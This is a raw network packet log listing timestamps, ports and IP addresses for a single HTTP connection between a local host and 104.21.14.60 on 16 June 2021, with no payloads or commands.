Jun 16, 2021 12:04:54.960500002 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.960524082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.960549116 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.960572004 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.960599899 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.960614920 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.960623980 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.960648060 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.960669994 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.960685015 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.960694075 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.960716963 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.960740089 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.960803986 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.960829973 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.960840940 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.961097956 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.961433887 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.961458921 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.961481094 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.961503029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.961512089 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.961529970 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.961556911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.961579084 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.961581945 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.961602926 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.961626053 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.961647987 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.961657047 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.961672068 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.961724997 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.961874962 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.962316990 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.962327957 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.962352991 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.962393999 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.962394953 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.962425947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.962471962 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.962687969 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.962714911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.962737083 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.962759972 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.962769985 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.962783098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.962814093 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.962836981 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.962838888 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.962862015 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.962886095 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.962908030 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.962918997 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.962930918 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.962958097 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.963164091 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.963403940 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.963577032 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.963599920 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.963627100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.963653088 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.963654995 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.963679075 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.963701963 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.963725090 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.963732958 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.963748932 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.963773012 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.963795900 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.963803053 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.963824987 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.963879108 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.964446068 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.964529037 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.964555025 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.964581013 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.964606047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.964623928 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.964628935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.964653015 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.964674950 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.964688063 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.964698076 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.964705944 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.964721918 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.964745045 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.964761019 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.964771986 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.964826107 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.965406895 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.965450048 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.965475082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.965497971 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.965518951 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.965524912 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.965543985 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.965569019 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.965595961 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.965600014 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.965622902 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.965643883 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.965657949 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.965662956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.965686083 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.965715885 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.965766907 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.966362953 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.966387987 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.966392994 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.966423035 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.966447115 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.966448069 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.967261076 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.967459917 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.971539021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.971563101 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.971581936 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.971601009 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.971621037 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.971645117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.971646070 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.971667051 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.971688032 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.971704006 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.971709967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.971730947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.971750021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.971762896 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.971818924 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.971879959 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.971967936 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.971990108 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.972009897 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.972033024 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.972054958 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.972057104 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.972074986 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.972081900 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.972090960 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.972111940 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.972136021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.972140074 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.972157001 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.972177029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.972207069 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.972281933 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.972584963 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.972882986 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.972910881 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.972930908 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.972950935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.972971916 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.972990990 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.972990990 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.973006964 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.973021984 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.973042011 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.973042011 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.973062038 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.973087072 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.973095894 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.973109961 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.973278999 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.973826885 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.973848104 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.973867893 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.973872900 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.973889112 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.973910093 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.973917007 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.973932028 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.973953009 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.973978043 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.973994970 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.974008083 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.974031925 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.974047899 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.974107027 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.974139929 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.974349022 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.974742889 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.974766016 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.974785089 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.974808931 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.974831104 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.974829912 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.974850893 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.974874973 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.974893093 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.974896908 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.974916935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.974930048 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.974936008 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.974956989 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.974977970 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.975255013 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.975667000 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.975691080 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.975712061 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.975718021 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.975733042 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.975754023 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.975755930 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.975775003 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.975795031 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.975815058 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.975816965 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.975835085 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.975860119 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.975873947 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.975882053 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.976130009 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.976593971 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.976618052 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.976639986 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.976660013 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.976672888 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.976684093 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.976702929 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.976722956 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.976730108 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.976752996 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.976773024 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.976797104 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.976799965 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.976807117 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.976819992 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.976857901 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.977025986 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.977359056 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.977493048 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.044811010 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.044861078 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.044898033 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.044897079 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.044938087 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.044979095 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.044980049 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.045016050 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045053959 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045092106 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045094013 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.045140028 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045183897 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045208931 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.045222044 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.045222998 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045262098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045300961 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045304060 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.045332909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045371056 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.045483112 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.045520067 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045562983 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045600891 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045638084 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045643091 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.045676947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045732021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045778990 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045778990 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.045820951 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.045823097 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045861959 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045892000 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045931101 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.045953035 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.045979977 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.046022892 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.046073914 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.046156883 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.046204090 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.046231985 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.046241045 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.046289921 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.046293020 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.046334028 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.046371937 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.046410084 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.046416044 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.046448946 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.046485901 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.046524048 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.046538115 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.046566010 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.046608925 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.046653032 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.046735048 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.046998024 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.047036886 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.047075033 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.047089100 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.047141075 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.047198057 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.047241926 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.047245026 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.047287941 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.047326088 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.047363997 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.047372103 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.047405005 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.047442913 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.047480106 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.047486067 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.047497034 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.047521114 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.047904968 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.047946930 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.047976971 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.047986031 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.048042059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.048080921 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.048094034 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.048120975 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.048182011 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.048219919 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.048232079 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.048269987 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.048312902 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.048350096 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.048353910 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.048391104 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.048429012 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.048469067 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.048741102 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.048773050 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.048823118 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.048866034 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.048866034 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:55.048903942 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.048942089 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:55.048949003 CEST	49167	80	192.168.2.22	104.21.14.60
